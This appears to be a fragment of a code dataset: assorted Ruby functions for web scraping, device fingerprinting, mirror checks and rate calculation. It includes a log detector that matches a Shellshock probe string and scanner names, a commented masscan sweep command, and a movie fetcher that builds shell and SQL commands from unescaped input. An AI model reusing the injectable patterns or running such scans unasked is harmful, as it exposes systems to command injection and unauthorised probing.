'max_alternator_capacity', 'Maximum Alternator Capacity (amps)', integer: true)\n get_specifications_value(doc, hash, 'max_trailering_capacity', 'Maximum Trailering Capacity (lbs)', integer: true)\n get_specifications_value(doc, hash, 'max_trailer_weight_distributing_hitch', 'Wt Distributing Hitch - Max Trailer Wt. (lbs)', integer: true)\n get_specifications_value(doc, hash, 'max_tongue_weight_distributing_hitch', 'Wt Distributing Hitch - Max Tongue Wt. (lbs)', integer: true)\n get_specifications_value(doc, hash, 'max_trailer_weight_dead_weight_hitch', 'Dead Weight Hitch - Max Trailer Wt. (lbs)', integer: true)\n get_specifications_value(doc, hash, 'max_tongue_weight_dead_weight_hitch', 'Dead Weight Hitch - Max Tongue Wt. (lbs)', integer: true)\n get_specifications_value(doc, hash, '', 'Fifth Wheel Hitch - Max Tongue Wt. (lbs)')\n get_specifications_value(doc, hash, '', 'Fifth Wheel Hitch - Max Trailer Wt. (lbs)')\n get_specifications_value(doc, hash, '', 'Wt Distributing Hitch - Max Trailer Wt. (lbs)')\n\n end\n\n end\n\n return hash\nend",
"def passive(target)\n m = []\n\n # HTTP Server Header\n if /^(EMS-Entry|ZENT5) V[\\d\\.]+ Beckmann-GmbH$/.match?(target.headers[\"server\"])\n\n m << { name: \"HTTP Server Header\" }\n\n # Version Detection\n m << { version: target.body.scan(/<td width=\"20%\" valign=\"top\" align=\"right\">Application-Version:<br>Ver ([\\d\\.]+) [\\d]{2}\\.[\\d]{2}.[\\d]{4}<\\/td>/) } if target.body =~ /<td width=\"20%\" valign=\"top\" align=\"right\">Application-Version:<br>Ver ([\\d\\.]+) [\\d]{2}\\.[\\d]{2}.[\\d]{4}<\\/td>/\n\n end\n\n # Return passive matches\n m\n end",
"def process_overview_page(response_body)\n hash = {}\n\n if !response_body.nil?\n doc = Nokogiri.HTML(response_body)\n\n # default specs page url\n hash['specs_url_slug'] = nil\n x = doc.css('#ymm-nav-specs-btn').first\n hash['specs_url_slug'] = x['href'].split('/').last if !x.nil?\n\n # ranking - number\n hash['expert_ranking_number'] = nil\n x = doc.css('.primary-rank span').first\n hash['expert_ranking_number'] = x.text.gsub('#', '').to_i if !x.nil?\n\n # ranking - category\n hash['expert_ranking_category'] = nil\n x = doc.css('.primary-rank a').first\n hash['expert_ranking_category'] = x.text if !x.nil?\n\n # user reviews - rating\n hash['used_reviews_rating'] = nil\n x = doc.css('.user-reviews .star-actual').first\n hash['used_reviews_rating'] = (x['data-width'].to_i / 26) if !x.nil?\n\n # user reviews - number\n hash['used_reviews_number'] = nil\n x = doc.css('.user-reviews .total-review').first\n hash['used_reviews_number'] = x.text.to_i if !x.nil?\n\n # expert rating\n hash['expert_rating'] = Hash.new\n if !doc.css('.expert-ratings-block').nil?\n # - overall\n hash['expert_rating']['overview'] = nil\n x = doc.css('.expert-ratings-block .ratingNumber').first\n hash['expert_rating']['overview'] = x.text.to_f if !x.nil?\n\n doc.css('.expert-ratings-block table > tr').each do |row|\n key = @expert_ratings[row.css('td:eq(1)').text]\n if !key.nil?\n hash['expert_rating'][key] = nil\n rating = row.css('td:eq(2)').text\n hash['expert_rating'][key] = rating.to_i if !rating.nil? && rating != '' && rating.downcase != 'n/a'\n end\n end\n end\n\n # expert likes\n hash['expert_likes'] = []\n doc.css('#likes ul li').each do |item|\n hash['expert_likes'] << item.text\n end\n\n # expert dislikes\n hash['expert_dislikes'] = []\n doc.css('#dislikes ul li').each do |item|\n hash['expert_dislikes'] << item.text\n end\n\n # user price range\n hash['used_price_range'] = nil\n x = doc.css('.used-yrmd-price a').first\n hash['used_price_range'] = x.text if !x.nil?\n\n end\n\n return hash\nend",
"def fetchfilm parturl, _file=nil\n return nil unless parturl\n table = \"movie\"\n if parturl.index(\"&\")\n #$log.warn \"Cannot handle ampersand in URL. please correct #{parturl}\"\n $stderr.puts \">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\"\n $stderr.puts \"Cannot handle ampersand in URL. please correct #{parturl}\"\n $stderr.puts \"<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\"\n return nil\n end\n # remove HOST and keep last part\n if parturl.index OLDHOST\n parturl = parturl[OLDHOST.length..-1]\n end\n if parturl.index HOST\n parturl = parturl[HOST.length..-1]\n end\n if parturl.index(\"http:\") or parturl.index(\"https:\")\n # added this block 2015-12-30 \n $stderr.puts \">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\"\n $stderr.puts \"Don't know how to handle this host : #{parturl}. Pls use #{HOST} if you must.\"\n $stderr.puts \"<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\"\n #$log.error \"Don't know how to handle #{parturl}\"\n #exit(1)\n return nil\n end\n #inserting = false\n return nil if parturl.nil? || parturl.strip == \"\"\n parturl = parturl.chomp\n #nid = counter + starting\n nid = nil\n upperurl = parturl.upcase\n key = converturl parturl\n id = $db.get_first_value %Q[select rowid from #{table} where upper(url) = \"#{upperurl}\";]\n # in some cases the data on wiki has changed a lot, so we are forcing a download\n unless $opt_force\n if id.nil?\n id = $db.get_first_value %Q[select url from #{table} where upper(canonical) = \"#{upperurl}\";]\n if id\n $stderr.puts color(\"ERROR: FOUND another url with similar canonical : #{id} skipping ..\",\"red\");\n return nil\n end\n # NOTE 2016-02-28 - this can prevent me from downloading a movie with same name but different\n # year. I should check title + year at point of updating in db. or key + year.\n id = $db.get_first_value \"select rowid from #{table} where key = '#{key}';\"\n if id\n tmp = $db.get_first_value \"select url from #{table} where key = '#{key}';\"\n $stderr.puts color(\"ERROR: FOUND another row with similar KEY #{key}: #{id} #{tmp} , skipping ..\",\"red\");\n #$log.warn \"XXX: FOUND another row with similar KEY #{key}: #{id} #{tmp} , SKIPPING ..\"\n return nil\n end\n else\n $stderr.puts color(\"ERROR: FOUND another row with #{parturl} ... skipping\",\"red\");\n return nil\n end\n end\n id = nid\n url = HOST + parturl.strip\n #\n # BUG: still fails if ampersand in URL regardless of single or double quote\n # TODO maybe we need to try Shellwords.escape since i am able to do it with wget on commandline\n text = %x[wget -q -O - \"#{url}\"] \n # 2015-12-29 - sometimes the URL is wrong, so we get a blank. The file has zero bytes\n # so we should check here\n if text.nil? or text.chomp == \"\"\n $stderr.puts color(\"ERROR: =========== url is wrong or internet down, no data received #{url}. pls check ...\", \"red\")\n #$my_errors << \"no data fetched for #{parturl} pls check/correct.\"\n sleep(60)\n return nil\n end\n # 2016-03-08 - write to a temp folder and only copy to real name if file passes disambiguation check\n tmpfile = _file.sub(\"wiki\", \"tmp\")\n File.open(tmpfile,\"w\") {|f2| f2.write(text) }\n\n _ff = Shellwords.escape(tmpfile)\n type = `file #{_ff}`\n\n # check if its a zip\n # SOMETime it comes in zip format. how do contreol that ?\n # if file says zipped then add gz extension and do a gunzip\n if type.index \"gzip\"\n $stderr.puts color(\" gzip found, expanding\", \"blue\")\n FileUtils.mv tmpfile, \"#{tmpfile}.gz\"\n system \"gunzip #{_ff}.gz\"\n #text = File.readlines(_file).join(\"\\n\")\n end\n\n # 2016-03-08 - check if disambiguation page\n ret = %x[ ./oldprogs/grepdisambiguation.sh \"#{tmpfile}\" ]\n if ret and ret.size > 3\n $stderr.puts color(\" ERROR: This (#{tmpfile} is a disambiguation page, aborting ...\", \"red\" ) \n return nil\n end\n # all okay, move file to real folder\n FileUtils.mv tmpfile, _file\n #\n # TODO 2016-03-06 - 13:09 extract canonical and compare with parturl\n # If different then change html path removing HOST and calling uri_to_filename \n # Then change parturl and write to file so next program can pick up and adjust url, htmlpath and ymlpath.\n # We check after writing since the string could be in zip format.\n # This could fail, we may need to use _ff instead here and in parsedoc\n canonical = %x[ ./oldprogs/grepcanonical.sh -h \"#{_file}\" ]\n\n # 2016-03-08 - read file and check for canonical. if so return error do not update table.\n if canonical && canonical.size > 2\n canonical = canonical.chomp\n if ( (canonical != parturl) && (URI.decode(canonical) != parturl) )\n suggestedurl = URI.decode(canonical);\n # 2016-03-08 - if canon link contains disambiguation or '#' then return error\n if suggestedurl.index(\"disambiguation\") or suggestedurl.index(\"#\")\n $stderr.puts color(\" ERROR: This (#{suggestedurl} is a disambiguation page, aborting ...\", \"red\", \"reverse\") \n return nil\n end\n $stderr.puts color(\" WARNING: canonical does not match url, should change name #{parturl} != #{canonical}...\",\"red\");\n $stderr.puts color(\" WARNING: we should rename file and url to: #{suggestedurl} and change the parturl in file and caller \",\"red\");\n # if this works out, we can change the name of the file. and write new url and html path to a yml file.\n end\n end\n return _file\nend",
"def checkHTTP(base)\n # We don't check the pattern on the form for two reasons:\n # - not all browsers support it\n # - allows the input to be more flexible\n\n # Fix up the URL\n base.strip!\n base += '/' unless base.end_with? '/'\n base = 'http://' + base unless base.start_with? 'http'\n # Now check the syntax:\n\n I \"Checking #{base} ...\"\n\n unless URLMATCH.match(base)\n F \"Invalid URL syntax: #{base}\"\n return\n end\n\n setup\n\n response = getHTTPHdrs(base)\n server = response['server']\n if server =~ /Apache/\n I \"Server: #{server}\"\n else\n W \"Server: '#{server}' - expected 'Apache' in server response\"\n end\n\n # Check the mirror time (and that zzz/ is readable)\n time = check_page(base, 'zzz/time.txt', severity = :F)\n if time\n match = /^(\\d+) \\S+$/.match(time)\n if match\n now = Time.now.to_i\n stamp = match[1].to_i\n age = (now - stamp)/60 # minutes\n if age > 60*24\n W \"Mirror is over 1 day old: #{age} minutes\"\n else\n I \"Mirror is less than 1 day old: #{age} minutes\"\n end\n else\n F \"Invalid time.txt contents: #{time}\"\n end\n else\n return # cannot process further (already recorded the error\n end\n\n # check the main body\n body = check_page(base, '')\n checkHdrFtr(base, body)\n if %r{<(img|IMG) (src|SRC)=\"/icons/}.match(body)\n I \"Index page has icons as expected\"\n else\n W \"Missing or unexpected img icon tags\"\n end\n checkIndex(body, :tlps)\n\n ibody = check_page(base, 'incubator/')\n checkHdrFtr(base+'incubator/', ibody)\n checkIndex(ibody, :podlings)\n\n check_page(base, 'harmony/', :E, expectedStatus=\"404\")\n\n zbody = check_page(base, HTTPDIR)\n# Not sure this is useful on its own anymore\n# It was originally used to detect sites with advertising wrappers,\n# but most recent examples have been tables around directory listings\n# which is obviously OK as it does not affect the user experience.\n# if %r{<table}i.match(zbody)\n# W \"#{HTTPDIR} - TABLE detected\"\n# else\n# I \"#{HTTPDIR} - No TABLE detected, OK\"\n# end\n checkHdrFtr(base+HTTPDIR, zbody)\n if HDRMATCH.match(zbody)\n I \"Index page for #{HTTPDIR} contains the expected header text\"\n else\n W \"Index page for #{HTTPDIR} does not contain the expected header text\"\n end\n if FTRMATCH.match(zbody)\n I \"Index page for #{HTTPDIR} contains the expected footer text\"\n else\n W \"Index page for #{HTTPDIR} does not contain the expected footer text\"\n end\n\n check_page(base,HTTP404,:E, expectedStatus=\"404\")\n\n # Check that archives don't have Content-Encoding\n MIRRORTEST_FILES.each do |file|\n check_CT(base, MIRRORTEST + file)\n end\n check_redirect(base, 'zzz/mirror-tests/redirect-test/xyz', 'http://www.apache.org/')\nend",
"def _match_http_response(check, response,options)\n\n # Construct an Intrigue Entity of type Uri so we can match it\n data = []\n=begin\n json = '{\n \t\"id\": 1572,\n \t\"type\": \"Intrigue::Entity::Uri\",\n \t\"name\": \"http://69.162.37.69:80\",\n \t\"deleted\": false,\n \t\"hidden\": false,\n \t\"detail_string\": \"Server: | App: | Title: Index page\",\n \t\"details\": {\n \t\t\"uri\": \"http://69.112.37.69:80\",\n \t\t\"code\": \"200\",\n \t\t\"port\": 80,\n \t\t\"forms\": false,\n \t\t\"title\": \"Index page\",\n \"generator\": \"Whatever\",\n \t\t\"verbs\": null,\n \t\t\"headers\": [\"content-length: 701\", \"last-modified: Tue, 03 Jul 2018 16:55:36 GMT\", \"cache-control: no-cache\", \"content-type: text/html\"],\n \t\t\"host_id\": 1571,\n \t\t\"scripts\": [],\n \t\t\"products\": [],\n \"cookies\": \"\",\n \t\t\"protocol\": \"tcp\",\n \t\t\"ip_address\": \"69.112.37.69\",\n \t\t\"javascript\": [],\n \t\t\"fingerprint\": [],\n \t\t\"api_endpoint\": false,\n \t\t\"masscan_string\": \"sudo masscan -p80,443,2004,3389,7001,8000,8080,8081,8443,U:161,U:500 --max-rate 10000 -oL /tmp/masscan20180703-9816-18n0ri --range 69.162.0.0/18\",\n \t\t\"app_fingerprint\": [],\n \t\t\"hidden_original\": \"http://69.162.37.69:80\",\n \t\t\"response_data_hash\": \"7o0r6ie5DOrJJnz1sS7RGO4XWsNn3hWykbwGkGnySWU=\",\n \t\t\"server_fingerprint\": [],\n \t\t\"enrichment_complete\": [\"enrich/uri\"],\n \t\t\"include_fingerprint\": [],\n \t\t\"enrichment_scheduled\": [\"enrich/uri\"],\n \t\t\"hidden_response_data\": \"\",\n \t\t\"hidden_screenshot_contents\": \"\"\"\n \t},\n \t\"generated_at\": \"2018-07-04T03:43:11+00:00\"\n }'\n=end\n data = {}\n data[\"details\"] = {}\n data[\"details\"][\"hidden_response_data\"] = \"#{response.body}\"\n # construct the headers into a big string block\n headers = []\n response.each_header do |h,v|\n headers << \"#{h}: #{v}\"\n end\n data[\"details\"][\"headers\"] = headers\n\n ### grab the page attributes\n match = response.body.match(/<title>(.*?)<\\/title>/i)\n data[\"details\"][\"title\"] = match.captures.first if match\n\n match = response.body.match(/<meta name=\"generator\" content=(.*?)>/i)\n data[\"details\"][\"generator\"] = match.captures.first.gsub(\"\\\"\",\"\") if match\n\n data[\"details\"][\"cookies\"] = response.header['set-cookie']\n data[\"details\"][\"response_data_hash\"] = Digest::SHA256.base64digest(\"#{response.body}\")\n\n # call the actual matcher & return\n _match_uri_hash check, data, options\n end",
"def processIncidentPage(agent, page, output)\n doc = Nokogiri::HTML(page.body);\n incident_info = '';\n\n #Get all information and store it in the incident_information array\n sections = doc.css('tr td')\n incident_info += processSection0(sections[0]);\n incident_info += processSection1(sections[1]);\n incident_info += processSection2(sections[2]);\n\n #Convert the array to a CSV line and Write to CSV\n output.puts(incident_info);\n signalProcessCompletion();\nend",
"def print_server_details\n @check_server_status_array = Array.new(@lpar_id_array)\n get_url('compute')\n @check_server_status_array.each do |lpar|\n @server_status_print = rest_get(\"#{@resource_url}/servers/#{lpar}\", @token_id)\n @server_status = JSON.parse(@server_status_print)['server']\n @server_name_print = @server_status['name']\n @server_addresses = JSON.parse(@server_status_print)['server']['addresses']\n begin\n @server_ip4address = @server_addresses.values[0][0]['addr']\n puts \"LPAR Name: #{@server_name_print}, IP Address: #{@server_ip4address}\"\n rescue\n puts \"Deploy of LPAR Name #{@server_name_print} has resulted in error. Please login to PowerVC GUI to check further.\"\n end\n end\n end",
"def show\n unless request.post?\n redirect_to :action => :index and return\n end\n ioscan_file = params[:ioscan_file]\n @server = Server.find(params[:server_id])\n\n io_slots_by_path = IoSlot.find(:all, :conditions => [\"server_id = ?\", @server.id], :order => 'path ASC')\n @io_slots_in_server = IoSlot.find(:all, :conditions => [\"server_id = ?\", @server.id], :order => 'chassis_number ASC, slot_number ASC')\n # Store the lines in the uploaded file into an array of hashes \"@ioscan_array\"\n @ioscan_array = Array.new\n x = io_slots_by_path.each do |io_slot|\n #logger.debug \"Trying I/O Slot \" + io_slot.path\n line_num = 0\n # \\n argument is needed to handle dos and unix files\n ioscan_file.each_line(\"\\n\") do |line|\n if line.match(/Class\\s*I\\s*H\\/W Path\\s*Driver/)\n #short-circuit processing of ioscan -f output\n flash[:notice] = 'You attempted to upload an ioscan -f, rather than an ioscan -F'\n redirect_to :action => :index and return\n end\n next unless line.match(/(:.*?){17}/) # Filter out any invalid rows\n fields = line.split(':')\n hwpath = fields[10].strip\n if hwpath.slice(0, io_slot.path.length) == io_slot.path\n @ioscan_array[line_num] = {\n :classname => fields[8],\n :drivername => fields[9],\n :description => fields[17].strip,\n :slot_id => io_slot.id,\n :path => hwpath,\n :hw_type => fields[16]\n }\n end #if\n line_num = line_num.succ\n end #ioscan_file.each_line\n ioscan_file.pos = 0 #reset to the beginning of the file.\n end #@io_slots_in_server.each\n end",
"def url_redirect_checker\n require 'curb'\n # indexers = Indexer.where.not(crm_url: nil).where.not(crm_url: \"\").where(\"url != crm_url\").where(crm_url_redirect: nil)\n # indexers = Indexer.where.not(crm_url: nil).where.not(crm_url: \"\").where(\"url != crm_url\").where(geo_url_redirect: nil)[20...-1]\n # indexers = Indexer.where(redirect_status: nil).where(stf_status: \"SFDC URL\").where(indexer_status: \"SFDC URL\").where(\"raw_url LIKE '%http%'\")[a...z]\n # indexers = Indexer.where(redirect_status: nil).where(stf_status: \"SFDC URL\").where(indexer_status: \"SFDC URL\").where(\"raw_url LIKE '%www%'\")[a...z]\n # indexers = Indexer.where(redirect_status: nil).where(stf_status: \"SFDC URL\").where(indexer_status: \"SFDC URL\").where.not(\"raw_url LIKE '%www%'\")[a...z]\n # Indexer.where.not(\"redirect_status LIKE '%Error%'\")\n\n # a=0\n # z=-1\n\n indexers = Indexer.where(indexer_status: \"COP URL\").where(clean_url: nil)[a...z] ##17,033\n\n\n counter_fail = 0\n counter_result = 0\n total = 0\n indexers.each do |indexer|\n total +=1\n\n raw_url = indexer.raw_url\n\n begin ## rescue\n result = Curl::Easy.perform(raw_url) do |curl|\n curl.follow_location = true\n curl.useragent = \"curb\"\n curl.connect_timeout = 10\n curl.enable_cookies = true\n # curl.ssl_verify_peer = false\n end\n\n curb_url_result = result.last_effective_url\n\n crm_url_hash = url_formatter(curb_url_result)\n raw_url_final = crm_url_hash[:new_url]\n\n if raw_url != raw_url_final\n counter_result +=1\n puts\n puts \"[#{a}...#{z}] (#{counter_result}/#{total})\"\n puts \"O: #{raw_url}\"\n puts \"N: #{raw_url_final}\"\n puts \"--------------------------------------------\"\n puts\n indexer.update_attributes(redirect_status: \"Updated\", clean_url: raw_url_final)\n else\n puts \"[#{a}...#{z}] (#{total}): Same\"\n indexer.update_attributes(redirect_status: \"Same\", clean_url: raw_url_final)\n end\n\n rescue #begin rescue\n error_message = $!.message\n counter_fail +=1\n final_error_msg = \"Error: #{error_message}\"\n puts \"(#{counter_fail}/#{total}) (#{final_error_msg})\"\n\n if final_error_msg && final_error_msg.include?(\"Error:\")\n if final_error_msg.include?(\"SSL connect error\")\n indexer.update_attributes(indexer_status: \"Redirect Error\", redirect_status: \"SSL Error\")\n elsif final_error_msg.include?(\"Couldn't resolve host name\")\n indexer.update_attributes(indexer_status: \"Redirect Error\", redirect_status: \"Host Error\")\n elsif final_error_msg.include?(\"Peer certificate\")\n indexer.update_attributes(indexer_status: \"Redirect Error\", redirect_status: \"Certificate Error\")\n elsif final_error_msg.include?(\"Failure when receiving data\")\n indexer.update_attributes(indexer_status: \"Redirect Error\", redirect_status: \"Transfer Error\")\n else\n indexer.update_attributes(indexer_status: \"Redirect Error\", redirect_status: \"Error\")\n end\n end\n end #end rescue\n end\n end",
"def not_contended_with_reqs\n obj_ptr_re = /\\[\\d{1},(.*)\\]/\n reqsRW_re = /reqsRW:\\<(.*)\\>/\n locRW_re = /\\locRW\\:(.?)\\,/\n contended_re = /contended\\:(.?)\\,/\n count = 0\n $arr_local_store.each do |local_file|\n local_file.each do |line|\n unless line.chomp.empty?\n obj_ptr = line.match(obj_ptr_re)\n lockRW = line.match(locRW_re)\n reqsRW = line.match(reqsRW_re)\n reqs_arr = reqsRW[1].split(/,/)\n contended = line.match(contended_re)\n #if lockRW is empty, it should be contended locally\n if lockRW[1].eql?\"\" and reqs_arr.size > 0\n if contended[1].to_i == 0\n p \"OMG! #{count} has an object #{obj_ptr} , which is needed by remote hosts #{reqs_arr} and is not locally contended\"\n end\n end\n end\n end\n count = count + 1\n end\nend",
"def detectWebServerIncident(raw_line)\n\tif raw_line.include? \"Nmap\"\n\t\treturn \"Nmap scan\"\n\telsif raw_line.include? \"Nitko\"\n\t\treturn \"Nitko scan\"\n\telsif raw_line.include? \"masscan\"\n\t\treturn \"Mass scan\"\n\telsif raw_line.include? \"() { :; };\"\n\t\treturn \"Shell shock vulnerability scan\"\n\telsif raw_line.include? \"phpmyadmin\"\n\t\treturn \"phpMyAdmin request\"\n\telsif /\\\\x\\S*\\\\x\\S*/.match(raw_line)\n\t\treturn \"Shell code\"\n\telse\n\t\treturn nil\n\tend\nend",
"def hash\n [api_percentage, api_usage, apm_fargate_percentage, apm_fargate_usage, apm_host_percentage, apm_host_usage, apm_usm_percentage, apm_usm_usage, appsec_fargate_percentage, appsec_fargate_usage, appsec_percentage, appsec_usage, browser_percentage, browser_usage, ci_visibility_itr_percentage, ci_visibility_itr_usage, container_excl_agent_percentage, container_excl_agent_usage, container_percentage, container_usage, cspm_containers_percentage, cspm_containers_usage, cspm_hosts_percentage, cspm_hosts_usage, custom_ingested_timeseries_percentage, custom_ingested_timeseries_usage, custom_timeseries_percentage, custom_timeseries_usage, cws_containers_percentage, cws_containers_usage, cws_hosts_percentage, cws_hosts_usage, dbm_hosts_percentage, dbm_hosts_usage, dbm_queries_percentage, dbm_queries_usage, estimated_indexed_logs_percentage, estimated_indexed_logs_usage, estimated_indexed_spans_percentage, estimated_indexed_spans_usage, estimated_ingested_logs_percentage, estimated_ingested_logs_usage, estimated_ingested_spans_percentage, estimated_ingested_spans_usage, estimated_rum_sessions_percentage, estimated_rum_sessions_usage, fargate_percentage, fargate_usage, functions_percentage, functions_usage, infra_host_percentage, infra_host_usage, invocations_percentage, invocations_usage, npm_host_percentage, npm_host_usage, obs_pipeline_bytes_percentage, obs_pipeline_bytes_usage, profiled_container_percentage, profiled_container_usage, profiled_fargate_percentage, profiled_fargate_usage, profiled_host_percentage, profiled_host_usage, sds_scanned_bytes_percentage, sds_scanned_bytes_usage, snmp_percentage, snmp_usage, universal_service_monitoring_percentage, universal_service_monitoring_usage, vuln_management_hosts_percentage, vuln_management_hosts_usage].hash\n end",
"def build_data\n agent = Mechanize.new\n\n # Raise an particular ConnectionToBBCError exception\n # on connectivity issues\n begin\n page = agent.get(URL)\n rescue *CONNECTION_ERRORS => error\n raise ConnectionToBBCError, error\n end\n\n locations = {}\n\n # For each location...\n 1.upto(NUMBER_OF_LOCATIONS) do |i|\n area = page.search(\"#area-#{i}\")\n location = area.search(\"h2\").text\n\n # Warnings, if any\n warning = nil\n warning_detail = area.search(\".warning-detail\")\n\n # Search for the warning title\n warning_title = warning_detail.search(\"strong\").text.gsub(':', '')\n\n # Check if there is a warning before proceeding\n if !warning_title.empty?\n warning = {}\n\n # Breakout the particular warnings\n warning[:title] = warning_title\n warning[:issued] = warning_detail.search(\".issued\").text\n warning[:summary] = warning_detail.search(\".summary\").text\n end\n\n # Build up all the conditions\n location_report = {}\n breakdown = area.search(\"ul\").children.search(\"span\")\n\n location_report[:warning] = warning\n location_report[:location] = location\n location_report[:wind] = breakdown[0].text\n location_report[:seas] = breakdown[1].text\n location_report[:weather] = breakdown[2].text\n location_report[:visibility] = breakdown[3].text\n\n # Set the report for this location in the locations hash\n locations[location] = location_report\n end\n\n locations\n end",
"def passive\n\tm=[]\n\n\t# HTTP Server Header\n\tif @headers[\"server\"] =~ /^Z-World Rabbit$/\n\n\t\tm << { :name=>\"HTTP Server Header\" }\n\n\t\t# MAC Address Detection\n\t\tm << { :string=>@body.scan(/<TR><TD>MAC ID:<\\/TD><TD>([A-F\\d]{12})<\\/TD><\\/TR>/) } if @body =~ /<TR><TD>MAC ID:<\\/TD><TD>[A-F\\d]{12}<\\/TD><\\/TR>/\n\n\t\t# Version Detection\n\t\tm << { :version=>@body.scan(/<body><\\/img><P align=\"center\"><FONT size=\"5\">Welcome to the OCMR(-SNMP)?[\\s]+Agent V([\\d\\.]+)<\\/FONT><\\/P>/)[0][1] } if @body =~ /<body><\\/img><P align=\"center\"><FONT size=\"5\">Welcome to the OCMR(-SNMP)?[\\s]+Agent V([\\d\\.]+)<\\/FONT><\\/P>/\n\n\tend\n\n\t# Return passive matches\n\tm\nend",
"def extract_code_to_gists(request)\n\n end",
"def evaluate_ps_with_special_handling(detail) #Return DNDC and DSCF nonmachinable surcharge discount rates (or FALSE if not-applicable).\n\t\t\tdndc_discount = 0 #Initial value set to 0.\n\t\t\tdscf_discount = 0 #Initial value set to 0.\n\t\t\t\n\t\t\t#For DNDC (B), only applicable for rate indicators SP and BN that have PC 5 (Non-machinable)\n\t\t\t#For DSCF (S), only applicable for rate indicators 3D and B3 (3Digit Balloon) that have PC 5 (Non-machinable)\n\t\t\t\n\t\t\tif detail.comb_values(true).include?('970') #Catch extra-service-code '970' (Special Handling)\n\t\t\t\tif detail.destination_rate_indicator == 'B' and detail.processing_category == '5' and ['SP','BN'].include?(detail.rate_indicator) #Non-machinable DNDC\n\t\t\t\t\tmachinable_rate = 0\n\t\t\t\t\tnonmachinable_rate = 0\n\t\t\t\t\t[\"PSDestEntry3B.csv\", \"PSDestEntry5B.csv\"].each do |rate_table_file|\n\t\t\t\t\t\trateTable = loadTable(rate_table_file)\n\t\t\t\t\t\tif rate_table_file.include?('3')\n\t\t\t\t\t\t\tmachinable_rate = rateTable.first[detail.domestic_zone].to_f\n\t\t\t\t\t\telsif rate_table_file.include?('5')\n\t\t\t\t\t\t\tnonmachinable_rate = rateTable.first[detail.domestic_zone].to_f\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\tdndc_discount = nonmachinable_rate - machinable_rate\n\t\t\t\telsif detail.destination_rate_indicator == 'S' and detail.processing_category == '5' and ['3D','B3'].include?(detail.rate_indicator) #Non-machinable DSCF\n\t\t\t\t\tmachinable_rate = 0\n\t\t\t\t\tnonmachinable_rate = 0\n\t\t\t\t\t[\"PSDestEntry3S.csv\", \"PSDestEntry5S.csv\"].each do |rate_table_file|\n\t\t\t\t\t\trateTable = loadTable(rate_table_file)\n\t\t\t\t\t\tif rate_table_file.include?('3')\n\t\t\t\t\t\t\tmachinable_rate = rateTable.first['S'].to_f\n\t\t\t\t\t\telsif rate_table_file.include?('5')\n\t\t\t\t\t\t\tnonmachinable_rate = rateTable.first['3D'].to_f\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\tdscf_discount = nonmachinable_rate - machinable_rate\n\t\t\t\tend\n\t\t\tend\n\t\t\treturn dndc_discount.round(2), dscf_discount.round(2)\n\t\tend",
"def scrape(url)\n\t\n $log.info \"START #{__FILE__}.#{__method__}\"\n\t\n \n def initialize \n super ARGV[0],\"groupon\"\n end\n \n begin\n html = open(url)\n doc = Nokogiri::HTML(html.read)\n doc.encoding = \"utf-8\"\n $log.info \"Open url : #{url}\"\n\n $log.info \"Fetching from : #{url}\"\n \n title \t\t= doc.at_xpath($deal_config[$site_name][\"title\"])\n deal_url\t= URI.parse(url)\n price \t\t= doc.at_xpath($deal_config[$site_name][\"price\"])\n location \t= doc.at_xpath($deal_config[$site_name][\"location\"])\n sold \t\t= doc.at_xpath($deal_config[$site_name][\"sold\"])\n items\t\t= doc.at_xpath($deal_config[$site_name][\"items\"])\n category\t= doc.at_xpath($deal_config[$site_name][\"category\"])\n deal_thumb\t= doc.at_xpath($deal_config[$site_name][\"deal_thumb\"])['src']\n description = doc.at_xpath($deal_config[$site_name][\"description\"]) \n discount = doc.at_xpath($deal_config[$site_name][\"discount\"])\n expiry = doc.at_xpath($deal_config[$site_name][\"expiry\"])['value'] \n city = doc.at_xpath($deal_config[$site_name][\"location_city\"])\n\n # check if there is an imagemap\n # if so, insert latitude and longitude\n # else try geocoding\n image_map = doc.at_xpath($deal_config[$site_name][\"image_map\"])\n lat = nil\n long = nil\n if !image_map.nil? && image_map.to_s != \"\"\n uri = URI.parse(URI.encode(image_map['src']))\n uri_params = CGI.parse(uri.query)\n if !uri_params[\"center\"].nil?\n lat, long = uri_params[\"center\"][0].chomp.split(',')\n end\n \n else\n # geocode address\n loc=GeoKit::Geocoders::MultiGeocoder.geocode(location.content.to_s.strip) \n if !loc.success\n #if loc.lat.nil?\n lat = nil \n long = nil\n elsif loc.success\n lat = loc.lat\n long = loc.lng\n end\n end\n \t\t\n $arr_deals << Deal.new(title, deal_url, deal_thumb, price, location, sold, items, category, description, lat, long, discount)\n \n # set the following to site name\n $arr_deals[-1].author = $deal_config[$site_name][\"author\"]\n \n # specialized code for expiry\n time = Time.now + expiry.to_i/1000\n $arr_deals[-1].expiry = time.strftime(\"%Y-%m-%d %H:%M:%S\")\n \n # add city to location 20120328\n cit = city.content.to_s.strip\n $arr_deals[-1].location += \", #{cit}\"\n # puts $arr_deals[-1].location\n \n # print ...\n #\t\tputs \"#{$arr_deals[-1].title} \\n\"\n #\t\tputs \"#{$arr_deals[-1].price} \\n\"\n #\t\tputs \"#{$arr_deals[-1].sold} \\n\"\n # \tputs \"#{$arr_deals[-1].items} \\n\"\n #\t\tputs \"#{$arr_deals[-1].location} \\n\"\n #\t\tputs \"#{$arr_deals[-1].deal_url} \\n\"\n #\t\tputs \"#{$arr_deals[-1].deal_thumb} \\n\"\n #\t\tputs \"#{$arr_deals[-1].category} \\n\"\n #\t\tputs \"#{$arr_deals[-1].description} \\n\"\n #\t\tputs \"#{$arr_deals[-1].latitude} \\n\"\n #\t\tputs \"#{$arr_deals[-1].longitude} \\n\"\n #\t\tputs \"#{$arr_deals[-1].discount} \\n\"\n\n $insert_number += 1\n puts \"inserting deal #{$insert_number}...\"\n $db.insert_deal($arr_deals[-1])\n \n $log.info \"Successfully retrieved data : #{url}\"\n\n rescue Exception=>e\n\t\n print \"Could not retrieve values. Maybe the site has changed?\"\n $log.error e.to_s\n puts e.to_s\n\t\t\n end\n\t\n $log.info \"END #{__FILE__}.#{__method__}\"\n\t\n end",
